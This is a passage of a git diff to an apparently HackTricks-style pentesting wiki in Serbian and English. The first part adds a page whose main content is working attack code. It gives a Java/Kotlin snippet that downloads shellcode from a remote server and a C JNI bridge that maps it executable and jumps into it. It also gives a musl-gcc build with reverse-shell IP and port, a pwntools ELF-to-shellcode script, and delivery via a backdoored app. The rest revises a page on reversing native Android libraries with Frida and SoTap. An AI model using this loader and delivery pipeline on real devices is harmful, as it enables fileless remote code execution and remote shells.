it matters +- Smanjuje forenzičke artefakte (nema ELF na disku) +- Kompatibilno sa “stage-2” native payloads generisanim iz ELF exploit binary +- U skladu je sa tradecraft-om koji koriste moderni malware i red teams + +High-level pattern +1) Fetch shellcode bytes in Java/Kotlin +2) Call a native method (JNI) with the byte array +3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint + +Minimal example + +Java/Kotlin side +```java +public final class NativeExec { +static { System.loadLibrary("nativeexec"); } +public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` +C JNI strana (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { +__builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { +jsize len = (*env)->GetArrayLength(env, sc); +if (len <= 0) return -1; + +// RW anonymous buffer +void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +if (buf == MAP_FAILED) return -2; + +jboolean isCopy = 0; +jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); +if (!bytes) { munmap(buf, len); return -3; } + +memcpy(buf, bytes, len); +(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + +// Make RX and execute +if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } +flush_icache(buf, len); + +int (*entry)(void) = (int (*)(void))buf; +int ret = entry(); + +// Optional: restore RW and wipe +mprotect(buf, len, PROT_READ | PROT_WRITE); +memset(buf, 0, len); +munmap(buf, len); +return ret; +} +``` +Beleške i upozorenja +- W^X/execmem: Moderni Android nameće W^X; anonimna PROT_EXEC mapiranja su i dalje generalno dozvoljena za app procese sa JIT (podložno SELinux politici). Neki uređaji/ROM-ovi to ograničavaju; koristite rezervno JIT-allocated exec pools ili native bridges po potrebi. +- Architectures: Uverite se da arhitektura shellcode-a odgovara uređaju (obično arm64-v8a; x86 samo na emulatorima). +- Entrypoint contract: Odredite konvenciju za entrypoint vašeg shellcode-a (bez argumenata naspram pokazivača na strukturu). Neka bude pozicijski nezavistan (PIC). +- Stabilnost: Očistite keš instrukcija pre skoka; neusaglašen keš može izazvati pad na ARM. + +Packaging ELF → pozicijski‑nezavisan shellcode +Robusna pipeline za operatora treba da: +- Izgradite svoj exploit kao statički ELF koristeći musl-gcc +- Konvertujte ELF u self‑loading shellcode blob koristeći pwntools’ shellcraft.loader_append + +Izgradnja +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +Pretvori ELF u raw shellcode (primer za amd64) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` +Zašto loader_append radi: emituje mali loader koji mapira ugrađene ELF program segmente u memoriji i prebacuje kontrolu na njegov entrypoint, dajući vam jedan sirovi blob koji se može memcpy’ed i izvršiti od strane aplikacije. + +Dostava +- Host sc on an HTTP(S) server you control +- The backdoored/test app downloads sc and invokes the JNI bridge shown above +- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes + +Validacioni workflow za kernel payloads +- Use a symbolized vmlinux for fast reversing/offset recovery +- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ) + +Hardening/Detection (blue team) +- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy) +- Enforce strict code integrity (no dynamic native loading from network) and validate update channels +- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps + +References +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 01273d34d..eff12f329 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,50 +1,50 @@ -# Reverzovanje native biblioteka +# Reversing Native Libraries {{#include ../../banners/hacktricks-training.md}} **Za više informacija pogledajte:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Android aplikacije mogu koristiti native biblioteke, obično napisane u C ili C++, za zadatke koji zahtevaju visoke performanse. Autori malware-a takođe zloupotrebljavaju ove biblioteke jer su ELF shared objects i dalje teže dekompajlirati nego DEX/OAT bajtkod. -Ova stranica se fokusira na *praktične* radne tokove i *najnovija* poboljšanja alata (2023–2025) koja olakšavaju reverzovanje Android `.so` fajlova. +Android aplikacije mogu koristiti native libraries, obično napisane u C ili C++, za zadatke osetljive na performanse. Autori malware-a takođe zloupotrebljavaju ove libraries jer su ELF shared objects i dalje teže za dekompajliranje od DEX/OAT byte-code. +Ova stranica se fokusira na *praktične* tokove rada i *skorašnja* poboljšanja alata (2023–2025) koja olakšavaju reversing Android `.so` fajlova. --- -### Brzi trijažni workflow za sveže izvučenu `libfoo.so` +### Brzi trijažni tok za sveže izvučen `libfoo.so` -1. **Ekstrahujte biblioteku** +1. **Extract the library** ```bash # From an installed application adb shell "run-as cat lib/arm64-v8a/libfoo.so" > libfoo.so # Or from the APK (zip) unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/ ``` -2. **Identifikujte arhitekturu i zaštite** +2. **Identify architecture & protections** ```bash file libfoo.so # arm64 or arm32 / x86 readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc. checksec --file libfoo.so # (peda/pwntools) ``` -3. **Navedite eksportovane simbole i JNI vezivanja** +3. **List exported symbols & JNI bindings** ```bash readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI ``` -4. **Učitajte u dekompajler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) i pokrenite auto-analizu. -Novije Ghidra verzije uvele su AArch64 dekompajler koji prepoznaje PAC/BTI stubove i MTE tagove, značajno poboljšavajući analizu biblioteka izgrađenih pomoću Android 14 NDK-a. -5. **Odlučite za statičko ili dinamičko reverzovanje:** stripped, obfuscated kod često zahteva *instrumentation* (Frida, ptrace/gdbserver, LLDB). +4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis. +Novije Ghidra verzije uvele su AArch64 dekompajler koji prepoznaje PAC/BTI stubove i MTE tagove, značajno poboljšavajući analizu biblioteka izgrađenih sa Android 14 NDK. +5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB). --- -### Dinamička instrumentacija (Frida ≥ 16) +### Dynamic Instrumentation (Frida ≥ 16) -Frida serija 16 donela je nekoliko Android-specifičnih poboljšanja koja pomažu kada cilj koristi moderne Clang/LLD optimizacije: +Frida serija 16 donela je nekoliko Android-specifičnih poboljšanja koja pomažu kada meta koristi moderne Clang/LLD optimizacije: -* `thumb-relocator` može sada *hook-ovati male ARM/Thumb funkcije* generisane agresivnim poravnanjem LLD-a (`--icf=all`). -* Enumerisanje i ponovno vezivanje *ELF import slots* radi na Androidu, omogućavajući per-module `dlopen()`/`dlsym()` patching kada inline hooks budu odbijeni. +* `thumb-relocator` sada može *hook-ovati male ARM/Thumb funkcije* generisane agresivnim poravnanjem LLD (`--icf=all`). +* Enumerisanje i rebinding *ELF import slots* radi na Androidu, omogućavajući per-module `dlopen()`/`dlsym()` patching kada inline hooks budu odbijeni. * Java hooking je ispravljen za novi **ART quick-entrypoint** koji se koristi kada su aplikacije kompajlirane sa `--enable-optimizations` na Android 14. -Primer: nabrajanje svih funkcija registrovanih preko `RegisterNatives` i ispis njihovih adresa u runtime-u: +Primer: enumerisanje svih funkcija registrovanih preko `RegisterNatives` i dumpovanje njihovih adresa u runtime-u: ```javascript Java.perform(function () { var Runtime = Java.use('java.lang.Runtime'); @@ -61,29 +61,29 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met }); }); ``` -Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks. +Frida će raditi odmah na PAC/BTI-enabled uređajima (Pixel 8/Android 14+) sve dok koristite frida-server 16.2 ili noviji – ranije verzije nisu uspevale da lociraju padding za inline hooks. -### Telemetrija JNI-a lokalnog procesa putem prethodno učitanog .so (SoTap) +### Process-local JNI telemetry via preloaded .so (SoTap) -Kada je puna instrumentacija suvišna ili blokirana, i dalje možete dobiti uvid na native nivou tako što ćete prethodno učitati mali logger unutar ciljnog procesa. SoTap je lagana Android native (.so) biblioteka koja beleži runtime ponašanje drugih JNI (.so) biblioteka unutar istog app procesa (root nije potreban). +Kada je puna instrumentacija preterana ili blokirana, i dalje možete dobiti vidljivost na nivou native tako što ćete prethodno učitati mali logger unutar ciljnog procesa. SoTap je lagana Android native (.so) biblioteka koja beleži runtime ponašanje drugih JNI (.so) biblioteka unutar istog app procesa (nije potreban root). Ključna svojstva: - Inicijalizuje se rano i posmatra JNI/native interakcije unutar procesa koji je učitava. -- Čuva logove koristeći više putanja za pisanje uz povratak na Logcat kada je skladište ograničeno. -- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI. +- Upisuje logove u više upisivih putanja sa automatskim prelaskom na Logcat kada je skladište ograničeno. +- Mogućnost prilagođavanja izvora: izmenite sotap.c da proširite/prilagodite šta se loguje i ponovo izgradite za svaku ABI. -Podešavanje (repack the APK): -1) Ubacite odgovarajući ABI build u APK tako da loader može da pronađe libsotap.so: +Podešavanje (prepakovanje APK-a): +1) Dodajte odgovarajući ABI build u APK tako da loader može da locira libsotap.so: - lib/arm64-v8a/libsotap.so (for arm64) - lib/armeabi-v7a/libsotap.so (for arm32) -2) Osigurajte da se SoTap učita pre ostalih JNI biblioteka. Inject a call early (e.g., Application subclass static initializer or onCreate) tako da je logger inicijalizovan prvi. Smali snippet example: +2) Obezbedite da se SoTap učita pre ostalih JNI biblioteka. Injektujte poziv rano (npr. u statičkom inicijalizatoru Application podklase ili u onCreate) tako da se logger inicijalizuje prvi. Smali snippet primer: ```smali const-string v0, "sotap" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V ``` -3) Ponovno izgradite/potpišite/instalirajte, pokrenite app, pa prikupite logove. +3) Ponovo izgradite/potpišite/instalirajte, pokrenite aplikaciju, pa prikupite logove. -Putanje logova (proveravaju se redom): +Putanje za logove (proveravaju se redom): ``` /data/user/0/%s/files/sotap.log /data/data/%s/files/sotap.log @@ -91,46 +91,57 @@ Putanje logova (proveravaju se redom): /sdcard/Download/sotap-%s.log # If all fail: fallback to Logcat only ``` -Beleške i rešavanje problema: +Napomene i rešavanje problema: - ABI poravnanje je obavezno. Neusklađenost će izazvati UnsatisfiedLinkError i logger se neće učitati. -- Ograničenja prostora za skladištenje su česta na modernim Android uređajima; ako upis fajlova ne uspe, SoTap će i dalje emitovati preko Logcat. -- Ponašanje/verbosnost je predviđeno da se prilagodi; ponovo izgradite iz izvornog koda nakon izmena u sotap.c. +- Ograničenja skladištenja su česta na modernim Android uređajima; ako upisi u fajl zakažu, SoTap će i dalje emitovati putem Logcat. +- Ponašanje/verbosnost je predviđena za prilagođavanje; nakon izmena u sotap.c ponovo izgradite iz izvornog koda. -Ovakav pristup je koristan za malware triage i JNI debugging gde je ključno posmatrati tokove poziva native koda od starta procesa, a root/system-wide hookovi nisu dostupni. +Ovaj pristup je koristan za malware triage i JNI debugging u slučajevima kada je ključno posmatrati tokove native poziva od pokretanja procesa, ali root/system-wide hooks nisu dostupni. --- -### Nedavne ranjivosti vredne potrage u APK-ovima +### See also: in‑memory native code execution via JNI -| Godina | CVE | Pogođena biblioteka | Napomene | +Uobičajen obrazac napada je preuzimanje sirovog shellcode bloba tokom izvršavanja i njegovo direktno izvršavanje iz memorije preko JNI bridge-a (bez ELF fajla na disku). Detalji i ready‑to‑use JNI snippet ovde: + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +--- + +### Nedavne ranjivosti koje vredi tražiti u APK-ovima + +| Year | CVE | Affected library | Notes | |------|-----|------------------|-------| -|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| | -|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.| +|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow koji se može aktivirati iz native code koja dekodira WebP slike. Nekoliko Android aplikacija uključuje ranjive verzije. Kada vidite `libwebp.so` u APK-u, proverite njegovu verziju i pokušajte eksploataciju ili zakrpu.| | +|2024|Multiple|OpenSSL 3.x series|Više memory-safety i padding-oracle problema. Mnogi Flutter & ReactNative bundli sadrže sopstveni `libcrypto.so`.| -Kada primetite *trećih strana* `.so` fajlove unutar APK-a, uvek proverite njihov hash sa upstream advisories. SCA (Software Composition Analysis) je retka na mobilu, pa su zastarele i ranjive verzije raširene. +Kada u APK-u primetite *third-party* `.so` fajlove, uvek uporedite njihov hash sa upstream advisories. SCA (Software Composition Analysis) je neuobičajena na mobilnim platformama, pa su zastarele ranjive verzije raširene. --- -### Trendovi Anti-Reversinga i ojačavanja (Android 13-15) +### Anti-Reversing & Hardening trends (Android 13-15) -* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 omogućava PAC/BTI u system libraries na podržanom ARMv8.3+ silikonu. Decompiler-i sada prikazuju PAC‐povezane pseudo-instrukcije; za dynamic analysis Frida injektuje trampoline *nakon* uklanjanja PAC, ali vaši custom trampolini treba da pozivaju `pacda`/`autibsp` gde je potrebno. -* **MTE & Scudo hardened allocator:** memory-tagging je opciono, ali mnoge aplikacije svesne Play-Integrity grade se sa `-fsanitize=memtag`; koristite `setprop arm64.memtag.dump 1` plus `adb shell am start ...` da zabeležite tag faults. -* **LLVM Obfuscator (opaque predicates, control-flow flattening):** komercijalni packeri (npr. Bangcle, SecNeo) sve češće štite *native* kod, ne samo Java; očekujte lažni control-flow i enkriptovane string blobove u `.rodata`. +* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 omogućava PAC/BTI u system libraries na podržanom ARMv8.3+ silicijumu. Decompiler-i sada prikazuju PAC‐povezane pseudo-instrukcije; za dinamičku analizu Frida ubrizgava trampoline *posle* uklanjanja PAC, ali vaši prilagođeni trampolini treba da pozivaju `pacda`/`autibsp` kada je potrebno. +* **MTE & Scudo hardened allocator:** memory-tagging je opt-in, ali mnoge Play-Integrity aware aplikacije se grade sa `-fsanitize=memtag`; koristite `setprop arm64.memtag.dump 1` plus `adb shell am start ...` da biste zabeležili tag faults. +* **LLVM Obfuscator (opaque predicates, control-flow flattening):** komercijalni packeri (npr., Bangcle, SecNeo) sve više štite *native* code, ne samo Java; očekujte lažne control-flow i enkriptovane string blobe u `.rodata`. --- ### Resources -- **Učenje ARM asemblera:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) -- **JNI & NDK dokumentacija:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) -- **Debugovanje native biblioteka:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) +- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) +- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) +- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) ### Reference - Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) -- NVD advisory za `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) +- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) -- Kako raditi sa SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}}